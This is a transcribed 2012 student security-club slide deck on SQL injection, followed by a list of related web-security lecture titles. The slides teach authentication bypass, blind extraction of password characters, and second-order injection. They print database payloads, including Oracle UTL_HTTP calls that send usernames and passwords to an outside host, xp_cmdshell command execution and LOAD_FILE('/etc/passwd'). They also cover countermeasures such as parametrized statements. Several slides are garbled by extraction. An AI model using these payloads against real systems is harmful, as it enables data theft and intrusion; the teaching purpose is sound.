Let me SQL inject your heart!

Size: px
Start display at page:

Download "Let me SQL inject your heart!"

Transcription

1 _ (in)security we trust _!! SecurIMAG Let me SQL inject your heart! Injection vulnerabilities are common for web applications. Some do target databases: «SQL injections». The impact when exploiting such vulnerabilities rates from data retrieval, modifications, deletion till under certain case remote code execution! Speakers: Franck De Goër, Fabien Duchene WARNING: SecurIMAG is a security club at Ensimag. Thoughts, ideas and opinions are not related to Ensimag. The authors assume no liability including for errors and omissions.

2 Franck De Goër - Parcours : - prépa PT à F. Buisson (VOIRON, 38) - 1è Année ENSIMAG - Objectifs : - ISI - thèse (?) - enseignement-recherche - WHY Security? : Touche à toutes les branches de l'informatique, et multiples approches possibles pour un problème donné 2 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

3 Outline Introduction Injection attacking datastores (XPath, LDAP, SQL) SQL language SQL injection 3 Definitions Fingerprinting (specificities: Oracle, MS SQL, MySQL) Some cool beef: first order SQLi second order SQL injection blind SQLi Automatic detection Counter-measures Conclusion SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

4 Injection «Security exploitation technique that permits injecting data and/or code» Some injection examples: Targeted system In-memory executable Web Server CGI-like application Data-Stores What can be injected? Assembly instructions Additional HTML nodes Additional DATA and or COMMANDS Vulnerabilities examples Buffer Overflow Cross site scripting (XSS) Use-After-Free SVG injection SQL injection XPATH injection LDAP injection 4 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

5 Web injection - intuitively For a given transition (HTTP request / HTTP REPLY) an injection is the ability to craft an input parameter, so that a subsystem not filtering enough that input parameter uses it for data or code. Input parameters examples: - User-Agent: - HTTP METHOD: HEAD, GET Output examples: - HTTP CONTENT - HTTP-Only cookies - HTML code 5 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

6 Structured Query Language - Relational databases current: SQL3 (SQL99). SQL grammar - language for: -- interrogating: SELECT -- data manipulation: UPDATE, INSERT, DELETE -- data definition: CREATE, ALTER, DROP -- data access control: GRANT, REVOKE Database: francky-vincent record Table: accounts Table: news id user password id date text field 1 franck Ada.Text_Io SQLi F.De Goër F. Duchene 6 2 securimag quarante-deux 2 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV

7 SQL query example - interrogating a database: extract of the SQL grammar for the SELECT statement: SELECT * FROM table WHERE cond Eg: SELECT id FROM accounts WHERE user='franck' AND password='ada.text_io' Database: francky-vincent record Table: accounts Table: news id user password id date text field 1 franck Ada.Text_Io SQLi F.De Goër F. Duchene 7 2 securimag quarante-deux 2 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV

8 Outline Introduction Injection attacking datastores (XPath, LDAP, SQL) SQL language SQL injection 8 Definitions Fingerprinting (specificities: Oracle, MS SQL, MySQL) Some cool beef: first order SQLi second order SQL injection blind SQLi Automatic detection Counter-measures Conclusion SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

9 SQL injection intuitively (1/4) HTTP Eg: mysql library API SQL HTML HTTP CGI HTTP client Eg: Browser Eg: httpd+php SQL Daemon Eg: mysqld 9 User input = a set of input parameters SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012 The Web Application Hacker s Handbook 2 nd ed

10 SQL injection intuitively (2/4) HTML form: HTTP Request: 10 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

11 SQL injection intuitively (3/4) Hidden.php (source code extract) Some of the input parameters: GET - utilisateur=les blagues toto GET - motdepasse=sukz! SQL Query (sent to the SQL driver via the SQL API): SELECT * FROM data WHERE user='les blagues toto' AND password='sukz!'

12 SQL injection intuitively (4/4) -> Problem: how to bypass that authentication scheme? Hidden.php (source code extract) Some of the input parameters: GET - utilisateur=??? GET - motdepasse=???? SQL Query (sent to the SQL driver via the SQL API): SELECT * FROM data WHERE user='les blagues toto' AND password='sukz!' OR 69=69 --'

13 SQL injection intuitively - Franck DEMO SQL injection intuitively - Franck DEMO

14 SQL injection a formal definition (1/3) 14 Techniques and Tools for Engineering Secure Web Applications, PhD Thesis, Gary Michael Wassermann (2008) SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

15 SQL injection a formal definition (2/3) 15 Techniques and Tools for Engineering Secure Web Applications, PhD Thesis, Gary Michael Wassermann (2008) SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

16 SQL injection a formal definition (3/3) Input parameter 1 Input parameter 2 16 Techniques and Tools for Engineering Secure Web Applications, PhD Thesis, Gary Michael Wassermann (2008) SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

17 SQL injection with uncatched error / exception Depending of how the web application developer did create his application: - when we craft an input parameter, and the evaluated query is not conform wrt. SQL Grammar - ERROR and or EXCEPTION MIGHT BE raised or catched! - SQL query that is sent to the SQL back-end is displayed 17 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

18 Database system fingerprinting: WHY (1/4) Useful for: - information gathering (part of a pentester s job) -- which SQL system is used? (software + version) -- what is the SQL language version -- what are the privileges the user does have - stored procedures specific to an SQL server - exploits specific to an SQL server version 18 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

19 Database system fingerprinting: WHY (2/4) DB \ impact Oracle SQL HTTP, SMTP, TCP Requests UTL_SMTP, UTL_HTTP UTL_TCP toto UTL_HTTP_REQUEST('ir c.car-online.fr: 80/' (SELECT %20%username,passwor d%from%data%where 1))-- LDAP query! (11g) SYS.DBMS_LDAP.INIT(' ldap.intranet: 389',null) SYS.DBMS_LDAP.INIT(( SELECT password FROM SYS.USER$ WHERE name='sys') '.sub.c ar-online.fr',80) SecurIMAG - =tle - author - date

20 Database system fingerprinting: WHY (3/4) DB \ impact Remote command execution Ability to write on the filesystem Shutdown!! MS-SQL Stored procedure: master..xp_cmd shell 'ipconfig /all > toto.txt' SELECT * INTO OUTFILE '\\\ \fqdn-server\ \sharename\ \output.txt' FROM users; 'shutdown -- SecurIMAG - =tle - author - date

21 Database system fingerprinting: WHY (4/4) DB \ impact Information disclosure Ability to write on the filesystem MySQL SELECT LOAD_FILE('/ etc/passwd') SELECT * FROM data INTO OUTFILE '/tmp/ wtf.txt' SecurIMAG - =tle - author - date

22 Database system fingerprinting: HOW - try directly to inject parts of the previous SQL queries and check for any output indicating that an error occurred. SOME EXAMPLES: DB \ impact Oracle Causing a time delay UTL_HTTP.REQUEST(' 10/') Database version SELECT banner FROM v$version Current user privileges SELECT privilege FROM session_privs MS-SQL WAITFOR DELAY '0:0:10' SELECT grantee, table_name, privilege_type FROM INFORMATION_SCHEMA.TAB LE_PRIVILEGES MySQL SLEEP(100) SELECT * FROM information_schema.use r_privileges WHERE grantee = (SELECT user()) SecurIMAG - =tle - author - date The Web Application Hacker s Handbook 2 nd ed

23 Database system fingerprinting: Franck DEMO Database system fingerprinting: Franck DEMO SecurIMAG - =tle - author - date

24 Blind SQL injection Sometimes, when an SQL error is raised, the SQL query in NOT present in the webpage (HTML) output! Blind SQLi Idea: discriminate the result by observing a DIFFERENCE in the OUTPUT (HTML) when a part of the SQL query the attacker controls evaluates to FALSE or TRUE Eg: WHERE cond1 AND cond2 Attacker controlled 24 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

25 Blind SQLi: obtaing information on records SELECT id, record1 FROM table WHERE id = '$existing_id' GROUP BY 2; --'; # return error if nb records < 2 # else return normal print => with several tests, possible to know the number of records To know record names, brutforce SELECT id, record1 FROM table WHERE id = '$existing_id' GROUP BY password; //'; 25 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

26 Blind SQLi: obtaining the length of a password For instance, if inputs are GET parameters : AND length(password)=$i # return error if lenght(pass)!= $i # else return normal print => by incrementing $i until normal print, we can know the length of the password 26 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

27 Blind SQLi: obtaining an integer value (1/5)

28 Blind SQLi: obtaining an integer value (2/5)

29 Blind SQLi: obtaining an integer value (3/)

30 Blind SQLi: obtaining an integer value (3/5)

31 Blind SQLi: obtaining an integer value (4/5)

32 Blind SQLi: obtaining an integer value (5/5)

33 Blind SQLi: obtaining the characters of a password Get password characters Clever brutforce and substring(password,$i,1)=char($ascii_code) # return error if the ith character isn't char($ascii_code) # else return normal print => by testing $ascii_code, we can know the ith password character 33 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

34 Blind SQLi StalkR s write-up for phplist SMPCTF 2010 From Blind SQL injection to local file inclusion!

35 35

36 Where? page=users&start=0&find=juanito&findby=e mail&sortby=0&sortorder=desc&id=0&find=j uanito&findby= 36

37 SQLi Query such as SELECT field1, field2 FROM table1 WHERE condition1 AND value2=[user_controlled_field] Filtering? User controlled values? findby sortorder 37

38 Interesting field for condition? findby= findby=1 same page output 38

39 findby=1 39

40 findby=1 AND 1 same page output! Nice start 40

41 findby=1 AND 0 41

42 Blind SQLi discriminant String present on the webpage when condition is evaluated to false Eg: "Database error You have an error.. 42

43 Ex1 Blind SQLi to LFI Requires FILE privilege LOAD_FILE Problem: filtering on quotes in the findby parameter Hex encoded values Findby=1 AND substr(lpad(bin(ord(substr(load file(0x +file.encode( hex )+ ), +str(charpos +1)+,1))),8,0), +str(bitpos+1)+,1)=1 43

44 StalkR script I did modify to take into account user-provided discriminant and that checks if the file does exist ensimag-student@bt:~/desktop/ex1-script$./ phplist_21012_sql_injection_local_file_disclosure.py [*] phplist SQL injection, local file disclosure Usage:./ phplist_21012_sql_injection_local_file_disclosure.py <host> <path to phplist> <admin username> <admin password> <file to get> <discriminate_string_when_condition_evaluated_to_ false> 44

45 45

46 46

47 Automatic (and formal) detection From the server side: Observing if the user input controlled parameter is syntactically confined If not: this is a sufficient condition for saying it is an injection! 47 Techniques and Tools for Engineering Secure Web Applications, PhD Thesis, Gary Michael Wassermann (2008) SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

48 Automatic detection: sqlmap.py - client side - Python script - Ability to fingerprint various SQL back-ends: SecurIMAG - =tle - author - date

49 Automatic detection: sqlmap.py - DEMO Franck DEMO SecurIMAG - =tle - author - date

50 Counter-measures: Input filters Input Filters: some developers assume that filtering the input is enough. Which is sometimes not the case.!%^$#! This however does complicate the injection! Filter examples: - PHP : addslashes() injection will still work if query is like: WHERE integer_field=[user_controlled_input] SecurIMAG - =tle - author - date

51 Input filters and Second Order SQL injections (1/2) 0. Filter: add a second quote 1. New user registration input1= meeraque' ; input2= Mj t0 INSERT INTO data (username,password) VALUES('meeraque''', Mj t0') => Record will contain meerauqe' SecurIMAG - =tle - author - date

52 Input filters and Second Order SQL injections (2/2) 2. Change password: SELECT password FROM data WHERE username='meeraque' MySQL error! ERROR: Unclosed 42 STR: 3. Exploitation: 3.1 Register a user with username ' OR 1 in (SELECT password FROM data WHERE username='admeenistraore') 3.2. try to change the password P0wn3d! Admin password in the MySQL error message! SecurIMAG - =tle - author - date

53 Counter-measures: parametrized statements - PROBLEM: the SQL injection problem come from a not clear separation between DATA and COMMAND parts when building the SQL query - parametrized statements: 53 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

54 Counter-measures: parametrized statements SecurIMAG - =tle - author - date

55 Outline Introduction Injection attacking datastores (XPath, LDAP, SQL) SQL language SQL injection 55 Definitions Fingerprinting (specificities: Oracle, MS SQL, MySQL) Some cool beef: first order SQLi second order SQL injection blind SQLi Automatic detection Counter-measures Conclusion SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

56 No questions please! We have exhausted our knowledge (and frankly, I feel more about starting the apero $ 56 SecurIMAG - SQLi F. De Goër F. Duchene 09 FEV 2012

Lecture 7: Web hacking 3, SQL injection, Xpath injection, Server side template injection, File inclusion

Lecture 7: Web hacking 3, SQL injection, Xpath injection, Server side template injection, File inclusion IN5290 Ethical Hacking Lecture 7: Web hacking 3, SQL injection, Xpath injection, Server side template injection, File inclusion Universitetet i Oslo Laszlo Erdödi Lecture Overview What is SQL injection

More information

GUI based and very easy to use, no security expertise required. Reporting in both HTML and RTF formats - Click here to view the sample report.

GUI based and very easy to use, no security expertise required. Reporting in both HTML and RTF formats - Click here to view the sample report. Report on IRONWASP Software Product: IronWASP Description of the Product: IronWASP (Iron Web application Advanced Security testing Platform) is an open source system for web application vulnerability testing.

More information

Web Penetration Testing

Web Penetration Testing Web Penetration Testing What is a Website How to hack a Website? Computer with OS and some servers. Apache, MySQL...etc Contains web application. PHP, Python...etc Web application is executed here and

More information

DEFENSIVE PROGRAMMING. Lecture for EDA 263 Magnus Almgren Department of Computer Science and Engineering Chalmers University of Technology

DEFENSIVE PROGRAMMING. Lecture for EDA 263 Magnus Almgren Department of Computer Science and Engineering Chalmers University of Technology DEFENSIVE PROGRAMMING Lecture for EDA 263 Magnus Almgren Department of Computer Science and Engineering Chalmers University of Technology Traditional Programming When writing a program, programmers typically

More information

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang WEB SECURITY WORKSHOP TEXSAW 2014 Presented by Solomon Boyd and Jiayang Wang Introduction and Background Targets Web Applications Web Pages Databases Goals Steal data Gain access to system Bypass authentication

More information

CNIT 129S: Securing Web Applications. Ch 10: Attacking Back-End Components

CNIT 129S: Securing Web Applications. Ch 10: Attacking Back-End Components CNIT 129S: Securing Web Applications Ch 10: Attacking Back-End Components Injecting OS Commands Web server platforms often have APIs To access the filesystem, interface with other processes, and for network

More information

Secure Web App. 제목 : Secure Web Application v1.0 ( 채수민책임 ) Copyright 2008 Samsung SDS Co., Ltd. All rights reserved - 1 -

Secure Web App. 제목 : Secure Web Application v1.0 ( 채수민책임 ) Copyright 2008 Samsung SDS Co., Ltd. All rights reserved - 1 - Secure Web App. Copyright 2008 Samsung SDS Co., Ltd. All rights reserved - 1 - Building & Testing Secure Web Applications By Aspect Security Copyright 2008 Samsung SDS Co., Ltd. All rights reserved - 2

More information

Web Application Security. Philippe Bogaerts

Web Application Security. Philippe Bogaerts Web Application Security Philippe Bogaerts OWASP TOP 10 3 Aim of the OWASP Top 10 educate developers, designers, architects and organizations about the consequences of the most common web application security

More information

Web Security. Jace Baker, Nick Ramos, Hugo Espiritu, Andrew Le

Web Security. Jace Baker, Nick Ramos, Hugo Espiritu, Andrew Le Web Security Jace Baker, Nick Ramos, Hugo Espiritu, Andrew Le Topics Web Architecture Parameter Tampering Local File Inclusion SQL Injection XSS Web Architecture Web Request Structure Web Request Structure

More information

PHP and MySQL Programming

PHP and MySQL Programming PHP and MySQL Programming Course PHP - 5 Days - Instructor-led - Hands on Introduction PHP and MySQL are two of today s most popular, open-source tools for server-side web programming. In this five day,

More information

Web Application Penetration Testing

Web Application Penetration Testing Web Application Penetration Testing COURSE BROCHURE & SYLLABUS Course Overview Web Application penetration Testing (WAPT) is the Security testing techniques for vulnerabilities or security holes in corporate

More information

Software Security problems. Erik Poll. Digital Security group Radboud University Nijmegen

Software Security problems. Erik Poll. Digital Security group Radboud University Nijmegen Software Security problems Erik Poll Digital Security group Radboud University Nijmegen Problems with Insecure input handling is the most common security problem aka lack of input validation, but that

More information

Web Application Attacks

Web Application Attacks Web Application Attacks What can an attacker do and just how hard is it? By Damon P. Cortesi IOActive, Inc. Comprehensive Computer Security Services www.ioactive.com cortesi:~

More information

Automated SQL Ownage Techniques. OWASP October 30 th, The OWASP Foundation

Automated SQL Ownage Techniques. OWASP October 30 th, The OWASP Foundation Automated SQL Ownage Techniques October 30 th, 2009 Sebastian Cufre Developer Core Security Technologies sebastian.cufre@coresecurity.com Copyright The Foundation Permission is granted to copy, distribute

More information

A D V I S O R Y S E R V I C E S. Web Application Assessment

A D V I S O R Y S E R V I C E S. Web Application Assessment A D V I S O R Y S E R V I C E S Web Application Assessment March 2009 Agenda Definitions Landscape of current web applications Required skills Attack surface Scope Methodology Soft skills 2 Definitions

More information

Advanced Web Technology 10) XSS, CSRF and SQL Injection

Advanced Web Technology 10) XSS, CSRF and SQL Injection Berner Fachhochschule, Technik und Informatik Advanced Web Technology 10) XSS, CSRF and SQL Injection Dr. E. Benoist Fall Semester 2010/2011 1 Table of Contents Cross Site Request Forgery - CSRF Presentation

More information

Jacksonville Linux User Group Presenter: Travis Phillips Date: 02/20/2013

Jacksonville Linux User Group Presenter: Travis Phillips Date: 02/20/2013 Jacksonville Linux User Group Presenter: Travis Phillips Date: 02/20/2013 Welcome Back! A Quick Recap of the Last Presentation: Overview of web technologies. What it is. How it works. Why it s attractive

More information

Introduction to Ethical Hacking

Introduction to Ethical Hacking Introduction to Ethical Hacking Summer University 2017 Seoul, Republic of Korea Alexandre Karlov Today Some tools for web attacks Wireshark How a writeup looks like 0x04 Tools for Web attacks Overview

More information

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security.

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security. Web Security Web Programming Uta Priss ZELL, Ostfalia University 2013 Web Programming Web Security Slide 1/25 Outline Web insecurity Security strategies General security Listing of server-side risks Language

More information

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11 Attacks Against Websites Tom Chothia Computer Security, Lecture 11 A typical web set up TLS Server HTTP GET cookie Client HTML HTTP file HTML PHP process Display PHP SQL Typical Web Setup HTTP website:

More information

SQL Injection Attacks and Defense

SQL Injection Attacks and Defense SQL Injection Attacks and Defense Justin Clarke Lead Author and Technical Editor Rodrigo Marcos Alvarez Dave Hartley Joseph Hemler Alexander Kornbrust Haroon Meer Gary O'Leary-Steele Alberto Revelli Marco

More information

(System) Integrity attacks System Abuse, Malicious File upload, SQL Injection

(System) Integrity attacks System Abuse, Malicious File upload, SQL Injection Pattern Recognition and Applications Lab (System) Integrity attacks System Abuse, Malicious File upload, SQL Injection Igino Corona igino.corona (at) diee.unica.it Computer Security April 9, 2018 Department

More information

This slide shows the OWASP Top 10 Web Application Security Risks of 2017, which is a list of the currently most dangerous web vulnerabilities in

This slide shows the OWASP Top 10 Web Application Security Risks of 2017, which is a list of the currently most dangerous web vulnerabilities in 1 This slide shows the OWASP Top 10 Web Application Security Risks of 2017, which is a list of the currently most dangerous web vulnerabilities in terms of prevalence (how much the vulnerability is widespread),

More information

Excerpts of Web Application Security focusing on Data Validation. adapted for F.I.S.T. 2004, Frankfurt

Excerpts of Web Application Security focusing on Data Validation. adapted for F.I.S.T. 2004, Frankfurt Excerpts of Web Application Security focusing on Data Validation adapted for F.I.S.T. 2004, Frankfurt by fs Purpose of this course: 1. Relate to WA s and get a basic understanding of them 2. Understand

More information

C1: Define Security Requirements

C1: Define Security Requirements OWASP Top 10 Proactive Controls IEEE Top 10 Software Security Design Flaws OWASP Top 10 Vulnerabilities Mitigated OWASP Mobile Top 10 Vulnerabilities Mitigated C1: Define Security Requirements A security

More information

ATTACKING SYSTEM & WEB Desmond Alexander CISSP / GIAC/ GPEN CEO FORESEC

ATTACKING SYSTEM & WEB Desmond Alexander CISSP / GIAC/ GPEN CEO FORESEC ATTACKING SYSTEM & WEB Desmond Alexander CISSP / GIAC/ GPEN CEO FORESEC AGENDA VULNERABILITIES OF WEB EXPLOIT METHODS COUNTERMEASURE About Me DIRECTOR OF FORESEC COUNTER TERRORIST ACTION TEAM RESEARCH

More information

Secure Programming Lecture 8++: SQL Injection

Secure Programming Lecture 8++: SQL Injection Secure Programming Lecture 8++: SQL Injection David Aspinall, Informatics @ Edinburgh 9th February 2016 Outline Overview Other past attacks More examples Classification Injection route and motive Forms

More information

Security. CSC309 TA: Sukwon Oh

Security. CSC309 TA: Sukwon Oh Security CSC309 TA: Sukwon Oh Outline SQL Injection NoSQL Injection (MongoDB) Same Origin Policy XSSI XSS CSRF (XSRF) SQL Injection What is SQLI? Malicious user input is injected into SQL statements and

More information

Probabilistic Attack Planning in Network + WebApps Scenarios

Probabilistic Attack Planning in Network + WebApps Scenarios Probabilistic Attack Planning in Network + WebApps Scenarios Carlos Sarraute Core Security Technologies and Ph.D. program in Informatics Engineering, ITBA H2HC Nov 28/29, 2009 Brief presentation My company:

More information

3. Apache Server Vulnerability Identification and Analysis

3. Apache Server Vulnerability Identification and Analysis 1. Target Identification The pentester uses netdiscover to identify the target: root@kali:~# netdiscover -r 192.168.0.0/24 Target: 192.168.0.48 (Cadmus Computer Systems) Note: the victim IP address changes

More information

Web Application Security. OWASP 11 th August, The OWASP Foundation Basic SQL injection Basic Click Jacking

Web Application Security. OWASP 11 th August, The OWASP Foundation   Basic SQL injection Basic Click Jacking Web Application Security Basic SQL injection Basic Click Jacking OWASP 11 th August, 2012 Vinod Senthil T Director infysec vinod@infysec.com 044-42611142/43 Copyright The OWASP Foundation Permission is

More information

Web Application & Web Server Vulnerabilities Assessment Pankaj Sharma

Web Application & Web Server Vulnerabilities Assessment Pankaj Sharma Web Application & Web Server Vulnerabilities Assessment Pankaj Sharma Indian Computer Emergency Response Team ( CERT - IN ) Department Of Information Technology 1 Agenda Introduction What are Web Applications?

More information

Integrity attacks (from data to code): Malicious File upload, code execution, SQL Injection

Integrity attacks (from data to code): Malicious File upload, code execution, SQL Injection Pattern Recognition and Applications Lab Integrity attacks (from data to code): Malicious File upload, code execution, SQL Injection Igino Corona igino.corona _at_ diee.unica.it Computer Security May 2nd,

More information

INNOV-09 How to Keep Hackers Out of your Web Application

INNOV-09 How to Keep Hackers Out of your Web Application INNOV-09 How to Keep Hackers Out of your Web Application Michael Solomon, CISSP PMP CISM Solomon Consulting Inc. www.solomonconsulting.com What is a Web Application? Any access to your data via the Internet

More information

Web Security. Attacks on Servers 11/6/2017 1

Web Security. Attacks on Servers 11/6/2017 1 Web Security Attacks on Servers 11/6/2017 1 Server side Scripting Javascript code is executed on the client side on a user s web browser Server side code is executed on the server side. The server side

More information

Configuring User Defined Patterns

Configuring User Defined Patterns The allows you to create customized data patterns which can be detected and handled according to the configured security settings. The uses regular expressions (regex) to define data type patterns. Custom

More information

Web Application Vulnerabilities: OWASP Top 10 Revisited

Web Application Vulnerabilities: OWASP Top 10 Revisited Pattern Recognition and Applications Lab Web Application Vulnerabilities: OWASP Top 10 Revisited Igino Corona igino.corona AT diee.unica.it Computer Security April 5th, 2018 Department of Electrical and

More information

WEB SECURITY p.1

WEB SECURITY p.1 WEB SECURITY 101 - p.1 spritzers - CTF team spritz.math.unipd.it/spritzers.html Disclaimer All information presented here has the only purpose to teach how vulnerabilities work. Use them to win CTFs and

More information

Penetration Testing with Kali Linux

Penetration Testing with Kali Linux Penetration Testing with Kali Linux PWK Copyright Offensive Security Ltd. All rights reserved. Page 1 of 11 All rights reserved to Offensive Security No part of this publication, in whole or in part, may

More information

I n p u t. This time. Security. Software. sanitization ); drop table slides. Continuing with. Getting insane with. New attacks and countermeasures:

I n p u t. This time. Security. Software. sanitization ); drop table slides. Continuing with. Getting insane with. New attacks and countermeasures: This time Continuing with Software Security Getting insane with I n p u t sanitization ); drop table slides New attacks and countermeasures: SQL injection Background on web architectures A very basic web

More information

Application vulnerabilities and defences

Application vulnerabilities and defences Application vulnerabilities and defences In this lecture We examine the following : SQL injection XSS CSRF SQL injection SQL injection is a basic attack used to either gain unauthorized access to a database

More information

Bank Infrastructure - Video - 1

Bank Infrastructure - Video - 1 Bank Infrastructure - 1 05/09/2017 Threats Threat Source Risk Status Date Created Account Footprinting Web Browser Targeted Malware Web Browser Man in the browser Web Browser Identity Spoofing - Impersonation

More information

Integrity attacks (from data to code): Cross-site Scripting - XSS

Integrity attacks (from data to code): Cross-site Scripting - XSS Pattern Recognition and Applications Lab Integrity attacks (from data to code): Cross-site Scripting - XSS Igino Corona igino.corona (at) diee.unica.it Computer Security April 12, 2018 Department of Electrical

More information

TIMING-BASED ATTACKS IN WEB APPLICATIONS

TIMING-BASED ATTACKS IN WEB APPLICATIONS TIMING-BASED ATTACKS IN WEB APPLICATIONS ABOUT ME Ahmad Ashraff @Yappare Before : Chemical Engineer Current : Pentester @ Aura Information Security Hobbies : Backpacking, Watching Animes Member Of OWASP

More information

Application security : going quicker

Application security : going quicker Application security : going quicker The web application firewall example Agenda Agenda o Intro o Application security o The dev team approach o The infra team approach o Impact of the agility o The WAF

More information

Web Security. Thierry Sans

Web Security. Thierry Sans Web Security Thierry Sans 1991 Sir Tim Berners-Lee Web Portals 2014 Customer Resources Managemen Accounting and Billing E-Health E-Learning Collaboration Content Management Social Networks Publishing Web

More information

Tautology based Advanced SQL Injection Technique A Peril to Web Application

Tautology based Advanced SQL Injection Technique A Peril to Web Application IJIRST National Conference on Latest Trends in Networking and Cyber Security March 2017 Tautology based Advanced SQL Injection Technique A Peril to Web Application Kritarth Jhala 1 Shukla Umang D 2 2 Department

More information

WEB APPLICATION PENETRATION TESTING VERSION 2

WEB APPLICATION PENETRATION TESTING VERSION 2 WEB APPLICATION PENETRATION TESTING VERSION 2 The most practical and comprehensive training course on web application pentesting elearnsecurity has been chosen by students in over 140 countries in the

More information

Drone /12/2018. Threat Model. Description. Threats. Threat Source Risk Status Date Created

Drone /12/2018. Threat Model. Description. Threats. Threat Source Risk Status Date Created Drone - 2 04/12/2018 Threat Model Description Threats Threat Source Risk Status Date Created Mobile Phone: Sensitive Data Leakage Smart Devices Mobile Phone: Session Hijacking Smart Devices Mobile Phone:

More information

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

Application Security through a Hacker s Eyes James Walden Northern Kentucky University Application Security through a Hacker s Eyes James Walden Northern Kentucky University waldenj@nku.edu Why Do Hackers Target Web Apps? Attack Surface A system s attack surface consists of all of the ways

More information

Hacking Oracle APEX. Welcome. About

Hacking Oracle APEX. Welcome. About Hacking Oracle APEX!2 About Me Welcome scott@sumnertech.com @sspendol!3!4 About Sumner Technologies Originally Established 2005 Relaunched in 2015 Focused exclusively on Oracle APEX solutions Provide wide

More information

The OWASP Foundation

The OWASP   Foundation Application Bug Chaining July 2009 Mark Piper User Catalyst IT Ltd. markp@catalyst.net.nz Copyright The Foundation Permission is granted to copy, distribute and/or modify this document under the terms

More information

Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14

Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14 Attacks Against Websites 3 The OWASP Top 10 Tom Chothia Computer Security, Lecture 14 OWASP top 10. The Open Web Application Security Project Open public effort to improve web security: Many useful documents.

More information

Preventing Injection Vulnerabilities through Context-Sensitive String Evaluation (CSSE)

Preventing Injection Vulnerabilities through Context-Sensitive String Evaluation (CSSE) IBM Zurich Research Laboratory Preventing Injection Vulnerabilities through Context-Sensitive String Evaluation (CSSE) Tadeusz Pietraszek Chris Vanden Berghe RAID

More information

Introduction to InfoSec SQLI & XSS (R10+11) Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)

Introduction to InfoSec SQLI & XSS (R10+11) Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il) Introduction to InfoSec SQLI & XSS (R10+11) Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il) Covered material Useful SQL Tools SQL Injection in a Nutshell. Mass Code

More information

CSE 127 Computer Security

CSE 127 Computer Security CSE 127 Computer Security Fall 2015 Web Security I: SQL injection Stefan Savage The Web creates new problems Web sites are programs Partially implemented in browser» Javascript, Java, Flash Partially implemented

More information

Overview Cross-Site Scripting (XSS) Christopher Lam Introduction Description Programming Languages used Types of Attacks Reasons for XSS Utilization Attack Scenarios Steps to an XSS Attack Compromises

More information

Application Security Introduction. Tara Gu IBM Product Security Incident Response Team

Application Security Introduction. Tara Gu IBM Product Security Incident Response Team Application Security Introduction Tara Gu IBM Product Security Incident Response Team About Me - Tara Gu - tara.weiqing@gmail.com - Duke B.S.E Biomedical Engineering - Duke M.Eng Computer Engineering -

More information

CNIT 129S: Securing Web Applications. Ch 8: Attacking Access Controls

CNIT 129S: Securing Web Applications. Ch 8: Attacking Access Controls CNIT 129S: Securing Web Applications Ch 8: Attacking Access Controls Access Control Authentication and session management Ensure that you know who is using the application Access Controls Limit what actions

More information

CHAPTER 8 CONCLUSION AND FUTURE ENHANCEMENTS

CHAPTER 8 CONCLUSION AND FUTURE ENHANCEMENTS 180 CHAPTER 8 CONCLUSION AND FUTURE ENHANCEMENTS 8.1 SUMMARY This research has focused on developing a Web Applications Secure System from Code Injection Vulnerabilities through Web Services (WAPS-CIVS),

More information

Maximizing the speed of time based SQL injection data retrieval

Maximizing the speed of time based SQL injection data retrieval Maximizing the speed of time based SQL injection data retrieval 30c3, Hamburg, 29.12.2013 Arnim' ; DROP TABLE students;-- ) Introduction SQL injection SQLi is #1 of OWASP Top 10 Web vulnerabilities Sample

More information

Blind Sql Injection with Regular Expressions Attack

Blind Sql Injection with Regular Expressions Attack Blind Sql Injection with Regular Expressions Attack Authors: Simone Quatrini Marco Rondini 1/9 Index Why blind sql injection?...3 How blind sql injection can be used?...3 Testing vulnerability (MySQL -

More information

SQL Injection. EECS Introduction to Database Management Systems

SQL Injection. EECS Introduction to Database Management Systems SQL Injection EECS3421 - Introduction to Database Management Systems Credit "Foundations of Security: What Every Programmer Needs To Know" (Chapter 8) by Neil Daswani, Christoph Kern, and Anita Kesavan

More information

Security Engineering by Ross Andersson Chapter 18. API Security. Presented by: Uri Ariel Nepomniashchy 31/05/2016

Security Engineering by Ross Andersson Chapter 18. API Security. Presented by: Uri Ariel Nepomniashchy 31/05/2016 Security Engineering by Ross Andersson Chapter 18 API Security Presented by: Uri Ariel Nepomniashchy 31/5/216 Content What is API API developing risks Attacks on APIs Summary What is API? Interface for

More information

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

